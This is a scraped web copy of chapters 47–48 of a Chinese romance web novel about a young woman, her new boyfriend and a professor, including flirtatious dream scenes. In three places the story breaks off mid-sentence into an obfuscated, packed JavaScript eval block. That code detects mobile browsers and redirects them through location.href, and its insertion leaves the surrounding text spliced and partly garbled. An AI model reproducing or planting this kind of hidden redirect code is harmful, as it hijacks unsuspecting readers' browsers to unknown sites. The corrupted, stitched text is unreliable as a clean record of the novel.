燕舒站在入户门前,打量屋内,装修精致典雅,偏向法式复古风,虽然整体风格和她偏爱的不符,但不得不说依旧是好看的,并且从沙发、灯、植物摆件等可以看出,这个房子是纪佳时花费了时间和心力布置的。 其实在纪佳时问过她几次关于房子装修设计的问题后燕舒就隐隐有了预感,因为她梦里就有一个,所以在今天纪佳时说要给她一个惊喜时,她更猜到是什么了。 但真正站到门口,她才知道这个惊喜到底有多么大。 面对它,她会有多么开心。 惊喜的甜蜜在于突然,可对于燕舒来说,这就像是拆礼盒。她已经为拥有礼物而开心了,但看见里面的礼物是她反复说过多次的音乐盒时,她会更开心。 他那么忙,怎么还有时间去做这些? 欢喜感动像是泡泡一样变大溢满,燕舒眸光转向纪佳时,她有些无措地抿唇,然后露出微笑。 “很惊喜。”燕舒语气平淡,但语速很慢,她真的很惊喜,只不过她是那种“泰山压顶依旧面不改色”的人,所以遇见惊喜时都表现得淡定依旧。 纪佳时仔细窥视着燕舒的脸,但见她面不改色,没有表现出任何欢心雀跃的样子,心微微一沉,身体僵硬,连脸上的笑也便僵硬。直到燕舒收回视线望向他,道:“很惊喜。” 她向前抱住纪佳时,覆在他耳边,像讲悄悄话一般道:“纪佳时,你好好呀。” “阿舒夸我,阿舒也好。”他笑着亲了亲她的脸颊。 三室一厅外加厨房和书房,这是纪佳时买来和燕舒同居的,不过介于两人昨天才确定关系,两人只各自看了眼自己睡觉的地方,并且燕舒拒绝了同居的想法。 “现在还太早。” 纪佳时脸色涨红点头:“嗯,我知道。” “只是,这里更方便你休息。” 有书房,独立的办公空间,独自的卧室,床更大更软。 不知道他把她的话理解成了什么意思,燕舒想的是,她和纪佳时的关系其实没那么稳定。虽然她不介意睡他,当时同居还是怪怪的,所以这件事还是暂时先搁置吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15127022|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “咕噜噜——”燕舒肚子叫了。 “那我们出去吃饭吧。”纪佳时起身。 他有些懊恼今天太心急了,没吃饭就拉着燕舒来了。 燕舒起身朝厨房走去,“家里没菜吗?” 厨房除了碗筷其他什么都饿米有,冰箱里也只有几瓶矿泉水。 “其他还没来得及置办。”纪佳时回话。 “好。”燕舒转回身。 她走到纪佳时面前,他依旧坐在沙发上,她居高临下地看他,手指抬起他的下巴,语调高昂,“男朋友,走,今天我发了奖金,带你出去吃大餐。” 纪佳时对上她的眸光,双手交握放在身前,眨巴眨巴着眼睛看她,夸张道:“阿舒好厉害。” 明明从前是个温柔正经故作老成的人,面对喜欢的女孩也终于忍不住露出自己的幼稚与可爱,会故意笑、故意闹,两人对扮家家酒的游戏乐此不疲。 他们走出门,纪佳时宜靠在燕舒身上,那么高大却故作娇小,“燕舒姐姐,我想吃海鲜可以吗?” 他比她小,有资格喊姐姐。 “可以,姐姐有钱,想吃什么都可以。” “哦?是吗?”电梯还没上来,他将她抵在墙壁上,“吃你,也可以吗?” “变态食人魔,你为什么要吃我?”燕舒推他。 纪佳时笑意从眼底溢出,他的指尖擦过她的唇瓣。 软软的。 燕舒瞪他。 不凶,只显得可爱。 “嗯……”他故作沉吟。 “第一,我是变态。” “第二,我是变态。” “叮——” 电梯开了。 纪佳时低头含住燕舒的唇,咬了咬,再分开,眉眼弯弯,“第三,你是变态的女朋友。” 于是,电梯里,燕舒不得已和他玩起了一个极为幼稚的游戏。 “男朋友。” “嗯。” “亲爱的男朋友。” “嗯。” “……” 无聊的来回喊,可他乐此不疲,他就爱听燕舒喊他‘男朋友’三个字。 因为,他是她男朋友。 真幼稚。 因为昨天燕舒是直接从酒店换了衣服去的公司,所以晚上回到寝室,面对看着她的三个人她讪讪一笑。 “还不睡?”张悦幽幽的声音响起,像女鬼一样,“燕舒,你瞒得我们好苦。” “纪佳时,居然是纪佳时。” 除了李梦音,张悦和钟玉树两人是看了朋友圈才知晓她谈恋爱的事的。 燕舒尬笑。 她一向对自己的事都瞒得紧,“事以密成,语以泄败”是她做事的标准。何况,她的想法和钟玉树一样,一段刚开始还什么都不确定的恋爱,没必要到处去嚷嚷。 睡前,她在想,她和纪佳时究竟能走多远呢? 她不知道。走一步算一步吧。 …… 梦境。 摩天轮缓缓上升,车厢内弥漫着一股淡淡的木质香气,那是因为挂着一个香包。车厢不大,但四周是透明的玻璃窗,让整个空间显得通透而明亮。 燕舒坐在米白色的坐垫上,微微斜靠着靠背,侧身远望着窗外。车厢顶部的暖光灯光洒在她的身上,对面纪佳时温柔地凝视着她。 随着摩天轮升高,窗外的景色逐渐展开,远处的天际线被夕阳染成了金红色,云朵层叠铺展,色彩变幻,像是洗颜料的水杯被打翻。太阳缓缓下沉,大地将它托住,燕舒看见整个城市都笼罩在一片金色的薄纱中。 “好漂亮。”她笑着对纪佳时道。 夕阳的余晖透过玻璃洒在她和他的脸上,映出淡淡的红晕。 47. 第 47 章 下午6:47。 宋晴从办公室走出,来到霍茵茵工位旁,打趣道:“今天没有到点下班,不像你啊。” 宋晴在职场上是雷厉风行的女强人形象,严谨、冷酷、话不多,但了解后才知道私下非常和睦,霍茵茵甚至和她约过酒,自然知道对方是真的打趣她、说说玩笑话而已。 “我工作一向认真负责,效率与质量并重,今天的还没弄完自然不能下班,怎么宋编?你要找我喝酒?”她一只手滑动鼠标,一只手撑着脑袋看着宋晴道。 宋晴摆手,“不了,今天和其他人约了饭。” 随后,她看向燕舒,问:“好了吗?” “好了。”燕舒将电脑锁屏,拿起椅子上的西装外套,走出工位。 霍茵茵眼神在两人之间打转,瘪嘴,面露不虞,委屈道:“什么意思?吃饭不叫我?” “有你不认识的人。”燕舒回道。 今天是去周荣芳教授家里吃饭。自上次的事后,像是一个契机,她和周教授还有宋晴的关系更近了。对待周教授,燕舒当做濡慕的老师来亲近,对待宋晴,两人则既是上司与下属也是朋友。 燕舒把放在地上的礼盒拎起,第一次上门做客,自然不能忘了礼数。 霍茵茵是聪明人,自然懂了燕舒的意思,于是撇撇嘴,摸摸燕舒的手说:“好吧好吧。” 宋晴看到这一幕摇头笑,说:“周末有没有时间嘛?约着玩。你们知不知道《sleep no more》这部音乐剧?我这边刚好有几张票。” …… “咚咚咚!” “谁敲门?是不是宋晴她们来了?小莫,去开门。”周女士站在厨房朝客厅喊道。 “好。”莫沅将手里的玉米放下。 用纸巾擦了擦手,他朝门口走去,打开门,他微微愣住了。 “燕舒?”他似有一点疑惑,好看的眉眼轻轻挑起,看着她,眼中透出些许迷茫,搭在门边的手无意识地动了动。 “莫教授。”燕舒微笑。 “你……”莫沅还想说些什么,却听见身后周教授大声道:“是燕舒来了啊!” 脚步声响起,周教授走近,推了推堵在门口的男人,“堵这干嘛?让人家站在门口。” “快进来,燕舒。” “周教授,这是我买的、” “上门吃顿饭而已,买什么礼物?”周荣芳嗔怪道。 “宋晴呢?” “宋编还在楼下停车,让我先上来。” “……” 两人走进客厅,莫沅慢慢转动方向,看向女生的背影,今天她不是披发,而是将所有头发绑成了个丸子头,客厅的白炽灯洒在她的身上,纤细修长的脖颈显得白而莹润,连耳垂都那么柔软。 莫沅脸上露出浅笑,转身将门轻轻一关,抬脚向客厅走去。 莫沅想要和一个人相谈尽欢是一件很容易的事,何况,两人都已经不是当初第一次在早餐店中互相不熟的模样了。他看出燕舒有些僵硬不安的情态,将桌上的另一根玉米给她,从她最近的工作重心切入转换到最近的金融市场动态。于是,他满意地看见对方眼中对他的崇拜赞叹之意。 没吃过猪肉,也见过猪跑。 虽然没有追求过人,但又不是不懂在她面前表现出自己的优势,他无须学那个男生的幼稚、傻气,他们两个人到底不一样,年龄不一样、长相不一样、性格不一样。 很快,宋晴上来了,她走到两人身边听到聊的是什么后,不爽道:“喂喂喂,下班了,别聊工作了,什么金融经济啊通通别聊了。” “聊点别的吧。” “那聊什么?”莫沅从善如流问。 “嗯……聊饭后干点什么。” 莫沅起身,将剥好的玉米粒端进厨房,“你们说话吧,我去帮做饭。” 他厨艺不错,所以每次周教授要在家招待客人时,他一般都在场帮忙。 四人都认识,在饭桌上也乐于积极聊天相互回应,所以一顿饭自然是吃得宾主尽欢。 饭后,是莫沅洗碗,燕舒之前没帮忙,饭后自然想表现得积极些,所以在宋晴拉着周教授在客厅坐下时,她主动上前帮忙收拾碗筷。 厨房里传来哗啦的水声,莫沅站在水池前,袖子挽到手肘,露出结实的小臂。他低着头,专注地冲着碗碟,水珠溅在他的衬衫上,晕开一片深色的水渍。 燕舒轻手轻脚地收拾着餐桌,将剩下的碗筷摞在一起。她的目光不自觉地飘向厨房,看向站在洗碗池的男人。他很高,站在水池前需要微微弯着腰,这个姿势让他的后背线条显得格外清晰。 她端起碗筷走向厨房,男人刚好转过身,他的目光落在她的手上然后慢慢挪到她的脸上,燕舒上前将碗筷放入洗碗池,心中奇怪自己的脸上是有什么东西吗? “莫教授,我来帮忙。”她站在他身边,闻到洗洁精的柠檬香。 他没有拒绝,“那我来洗,你来清吧。” “好。”她点头。 “你为什么中叫我莫教授,听起来好疏远。”他像是随口一问。 燕舒拿着碗在清水下清洗,有些不明所以,“是吗?” 那该怎么叫? 她称呼周教授不一样是教授吗? 何况,他们之间的关系还能怎么亲近? 燕舒低着头,眼神变幻,在梦里,她根本不叫他莫教授,而是直呼其名,“莫沅。” 可现实中,他就是她的教授。他们的关系也仅限于:学生和老师。 见燕舒不再说话,他也不再开口,只默默地、专注地洗碗,白色的泡沫堆满他那边的水池。突然,他腰间的围裙带子松了,深蓝色的围裙落到地上。 “燕舒。”他侧过身,给燕舒示意手上的泡沫,“能帮我系一下围裙吗?” “好的。” 燕舒低头,弯腰捡起围裙。她站在他侧,他顺势转过身靠近她。燕舒双手环过他的腰去去够围裙的带子,忽地听他道:“燕舒。” 他比她高,声音却低沉,于是燕舒觉得这声像是从高处飘下来一般,像羽毛一样轻落在她耳边,让她耳朵发痒。 “嗯?”她手指勾住围裙的带子,后退。 “好了吗?”他低声问。 “好了。” 男人转过身,他看着她,声音里带着一丝笑意,再次上前一步,将刚刚燕舒后退拉开的距离再次拉回。 “袖子好像也滑下来了,能帮我挽一下吗?” 燕舒有些奇怪,明明刚刚看还稳稳地挂在手臂上,现在怎么一下都落了下来。只不过,这次她依旧点头同意。 他伸出手,她小心翼翼地捏住他衬衫的袖口,将其翻卷往上。他的手臂结实有力,皮肤温热,当她将袖子一点点往上卷时,指尖不可避免地触碰到他的小臂。 “燕舒。”他又喊她的名字了。 燕舒察觉到今天莫教授有些不对劲,她低着头抿唇,没回应。她像是知晓什么,但又抗拒知道。她能察觉他看她的目光,认真而灼热,他的呼吸拂过她的发顶,痒痒的。 厨房很宁静,客厅的电视声仿佛从遥远的天边传来一般,厨房被隔绝了那些声响,所以她只能听见他们两人发出的动静,他的呼吸声、她卷袖口的声音…… “好了。”燕舒收回手,抬头与他对视。 “谢谢。”他笑着看她,燕舒撞入他深邃的眼眸。 “燕舒。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋晴感觉自己膝盖中了一箭,自己失败的婚姻就是从校园开始,以为最终完美,结果所有感情在后来的时光里被消磨殆尽,现在只余感慨。如果不是莫沅顾及着她,说不定还要加一句:“哪怕结婚也不一定会有好结局。” “所以你就那么笃定……”宋晴疑惑。 莫沅面色不变。 世界上没有完全绝对的事,所以哪怕只有百分之一的机会他都要去争取。 “算了,你们年轻人的事,我懒得管。”宋晴挥手。 “学姐,你也是年轻人。不仅心态很年轻,美貌也一如当年。” “呵呵。”宋晴看他,莫沅微笑。 …… 燕舒在周教授家最后待到了九点多,最后和宋晴一起下楼离开。莫沅则在两人走后还在沙发上坐了一会。 “耶,这是谁的衣服,没拿吗?”周教授问。 莫沅起身,向前走去拿起搭在沙发上的西装,“好像是燕舒的,我现在下去给她,她应该还没走远。” “好。” 莫沅离开。 C大的教师公寓每栋楼都是配有电梯的,他站在电梯中,看着手里的西装外套,再次回想起刚刚和她发生的一幕幕,像电影一般在脑海中播放。 “叮——” 电梯门打开。 然后,他又在一楼待了一会,才走出。他没有去追寻她的踪迹,而是转身前去办公室,将衣服放在自己的椅子上后,他才离开。 燕舒意识到自己的西装没拿时已经回到了寝室,看时间她可以再折返回去拿,但她想了想再回去打扰周教授似乎有些不好,便想明天找时间去拿,结果手机就收到了莫教授的消息: 【莫教授:燕舒,你的西装忘拿了,我放在我的办公室,你哪天有空来取。】 【燕舒:好的[笑脸]】 【燕舒:谢谢教授】 【莫教授:不客气。】 【莫教授:[笑脸]】 48.第 48 章 “喵~” 燕舒睁开眼睛。 她又入梦了。 “喵~”声音贴近。 燕舒从沙发上坐起身,抬眼打量这间办公室,熟悉的棕红色木质书桌和书柜,不熟悉的是房间的格局布置很明显进行了变更。 窗户打开,白色纱窗被风吹拂,铁架台上的绿植生长得更加茂密了,书桌挪动了位置,身后多了一张会议桌和几张椅子,会议桌旁立着一台大冰箱,莫教授的茶桌安置在旁边。之前放在角落的展示柜挪到了书桌对面,也就是进门的左边,展示柜下边摆放着的似乎是一摞的音乐碟片,因为上方有一台CD机。而最令人瞩目,也最吸引眼球的是摆放在展示柜上方的几张照片。 燕舒确信自己没有拍过那几张照片,一张是她穿着学士服的毕业照,旁边站着莫沅,他西装革履捧着向日葵与她双手交握,两人笑着面对镜头,阳光挥洒下流淌着幸福的甜蜜。 另一张是两人的可爱大头贴,她带着毛茸茸的兔子耳朵,他则一只手捏住她的兔子耳朵,侧头看着她,模样故作凶恶。 第一张,男人成熟稳重,戴着眼镜,风度翩翩;第二张照片,意外地可爱、活泼、生动。 摆在中间的一张则是燕舒的单人照,她穿着浅蓝色纱裙站在一片黄色花海中,笑得十分漂亮。 是黄色水仙,茶几上刚好摆放着一盆,阳光从窗外照射进房间,刚好落在嫩黄的花朵上,金灿灿的,漂亮极了。 “喵~”见燕舒不理它,猫拉长声调,随后超前一跃跳到燕舒的膝上。 燕舒低头和菲利普斯对上眼神,她惊讶,菲利普斯怎么长大变得这么胖了。 实在是太可爱了! 她握住它的两只爪子,低头贴近它的脸,“小猫咪,你怎么这么肥,这么可爱呀!” “喵~”菲利普斯对此做出回应。 可惜燕舒听不懂它的猫语,但她也学道:“喵嗷~” 莫沅一直在关注着沙发上的人,她睡着的时候他还能认真低头处理工作,她醒来他的心神就完全被她牵引。 刚睡醒懵懂发呆的样子、回神看他的样子、和菲利普斯互动的样子,头发有些凌乱,脸因为刚刚侧睡而压了一道红痕,唇有些干,低头凑近菲利普斯导致不小心吃了猫毛吐舌皱眉…… 不知什么时候将手从鼠标上拿开,移动椅子,微微斜侧着身体,手靠在桌上,撑着头,专注地看她。 心想,怎么这么……令人心动呢。 他站起身,走过书桌,朝沙发上的人走去。 听见动静,燕舒将猫抱在怀中,看了过去。 “怎么了?”她问。 现如今,作为一个成熟的梦境经历者,燕舒已经不会再在梦里产生一些类似于惊慌失措的情绪了。反正梦境里又不会让她去开大炮,只是和这些人相处而已,燕舒已经学会了和莫教授的相处之道。 不需要客气,不需要礼貌,甚至需要不礼貌、不客气。 恋人本就是越界关系。 “你醒了和它玩,不和我玩。” “我生气。” 虽然和莫教授在现实中已经算是熟人并且交流上并不疏离,可是在梦中看着现实中冷然淡定的一张脸露出委屈、可怜巴巴的样子,燕舒还是觉得有些违和。更令人错愕震惊的是,莫教授在撒娇,语气软绵绵,尾音还带着勾子。 他说生气,燕舒听着分明是一点都不生气。 男人,就是口是心非。 他的手搭在沙发上,微微弯腰看着燕舒,眼神落在燕舒的唇上,舔了舔唇瓣。 “我为什么要和你玩?”燕舒抱着猫往身后的沙发倒,似笑非笑。 “因为……” 莫沅的视线扫过被燕舒抱在怀中抚摸的菲利普斯,他勾唇一笑,站直身体走向门口,转动把手将门反锁。 燕舒看见了,心想幸好是梦里。 反锁了门,莫沅跨过茶几,走到沙发旁,几步上前跪在了沙发上,跪在了燕舒身侧。他今天穿着一件简单的白衬衫,面料柔软而挺括,贴合着他修长的身形,衬衫的领口微微敞开,隐约可见锁骨下的肌肤。 他的鼻梁上架着一副金丝边眼镜,镜片后的目光冷静而克制,但似乎又有什么泄露了出来。 他伸手扯了扯燕舒的衣袖,轻声道:“因为,我也是小猫,舒舒不可以厚此薄彼,你要和我玩。” 小猫? 燕舒看着他,见他双手缓缓抬起,修长的手指弯曲,指尖轻轻立在头顶,像是两只猫耳朵。 “喵~”他叫道。 燕舒忍不住咬了咬唇。 说实话,她真的被他这副模样勾引住了。 白色衬衫的袖口依旧随意地挽在手肘,手臂线条在灯光下显得格外清晰,肌肉的起伏随着他动作而微微紧绷,却又在下一秒放松下来,像一只优雅的猫在舒展身体。 “舒舒。”双手弯曲晃动,像是猫耳朵在动。 “舒舒,快抛弃菲利普斯和我这只猫玩。”他歪头看向燕舒,镜片后的眼眸中闪过笑意。 “我不!”燕舒故意唱反调,她将目光挪开,不看他。 “舒舒~” “喵!”菲利普斯发出不爽的大叫。 它从燕舒的怀中跳到地上,看向刚刚拍它的男人,十分不爽地喵喵叫。 燕舒的衣袖又被拉住,她觉得莫教授也太幼稚了,和纪佳时幼稚得不分上下,还是男人都这么蠢? 莫沅跪着往前,一会就靠近了燕舒,他不再将手放在脑袋上装猫耳朵,而是一只手扯着她的衣袖,另一只手从背后绕过揽住她的腰,低头像猫一样蹭她肩膀。 “舒舒,这里有一只猫需要安抚。” 燕舒侧身,仰头俯视他,问:“小猫哪里不舒服呀?” “小猫难受,想贴贴。” 燕舒觉得对方此刻一定想到了一些涩情的东西,因为他嗓音听起来似乎情动了,看着她的眼眸闪着晦暗的光芒,白皙的脸染上了薄红,最重要的是有一个灼热的东西抵住她的腿部。 燕舒眼睛一眯,抬手捏住他的脸颊,“是吗?燕舒医生判断小猫做一个绝育手术就好啦。” 莫沅的眼睛猛地睁大,他错愕地看着她,最终摇头叹息,“燕舒医生好狠。” “哼哼。”燕舒冷哼。 但她还没哼完,男人就直起腰背,抬手摘下眼镜,低头封住她的唇。 纪佳时的吻是带着少年的热烈、虽然温柔但依旧在她口中极尽索取,有时甚至会因情绪而带了几分莽撞,但莫教授则是一直不变地缓慢、悠长,他不急不慢地用蛛丝将她包裹,然后慢慢吞入腹中。猎人与猎物的身份在两人之间不停地变换,两人在森林里追逐,视野里一片绿意,他的颜色闪烁在燕舒眼前。忽地,她听见“扑通”一声,似乎是他掉进了陷阱。她兴奋往前,然后坠落…… “呼呼……”两人分开,唇齿间银丝勾连,泛着暧昧·淫·糜的光。 他后退。 银丝线断掉,消失。 他凑到她耳边,“燕舒医生,动手术还是太麻烦了。我自有解决办法。” 燕舒侧头看他,咬牙很恨,“可恶。” 说完,她起身嗷呜咬住他的脸,双手按在他的身上。 莫沅本就是跪着的,被燕舒扑倒,身后没有支撑便直接顺势往后倒,于是两人重叠倒在沙发上。他看着燕舒,两人对视,他侧头露出脖颈,道:“请君采撷。” “……” 又是一阵玩闹后,燕舒被莫沅抱在怀中喂着银耳粥。粥是在家煮的,燕舒睡着前,他回家用保温杯专门带来给她喝的。燕舒低头一口一口喝着,她在周教授家做客就发现了,莫教授的厨艺竟然还不错。 吃完,他将碗放到了茶几上,将燕舒转动,使两人对视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谢谢老师!真的太感谢您了!”对面的学生站起身朝他鞠躬,脸上极为欣喜激动,反复道谢,最终在莫沅的示意下才三步一回头地离开办公室。转身走出办公室时,脚步明显轻快了许多。 “咚——咚——”敲门声又响起。 莫沅抬头,看见门口的人,微微一愣,垂眸扫过桌上的手机界面,上面是燕舒在十多分钟前发的消息: 【燕舒:莫教授,我来拿东西啦】 从他看见消息时,就像是喝到了甜滋滋的汽水,大脑释放多巴胺,感到快乐和满足。可现在所有的快乐被驱散,落空的期待带来了反噬,让人十分不爽。他面上不动声色,被电脑屏幕遮住的手却在不耐地拨弄桌上那个猫咪玩偶,不倒翁左右摇晃,但就是不倒。 “莫教授,我是燕舒的男朋友,我来帮她拿她的东西。”纪佳时站在门口,他语调温和,笑容恰好,如同面对每一个老师一般保持着乖学生的模样。 莫沅收回视线,目光重新落在电脑屏幕上,抬手向沙发一指,“嗯。” 纪佳时走进,顺着对方的指示低头看向右侧的茶几,茶几上反着一个包装袋,他几步靠近,拿起,看着被折好且用了包装袋装起的衣服,眼底闪过难以言明的情绪。抬头,面上却依旧是礼貌的微笑。 纪佳时道:“谢谢莫教授。我是燕舒男朋友,她工作忙,在学校时间少,如果之后还有什么东西落在您这,您找我就好。” 坐在办公桌旁的人没有回应他的话,甚至连头都没抬。 纪佳时保持微笑,微微弯腰鞠躬,“那我不打扰您了,再见。” 纪佳时不是对每个靠近燕舒的男的都充满危机感,只是这个莫教授实在和燕舒走得太近了,长得又还行,导致他有些警惕。 不过,老男人一个。还是他年轻,这样一想,纪佳时又安心了。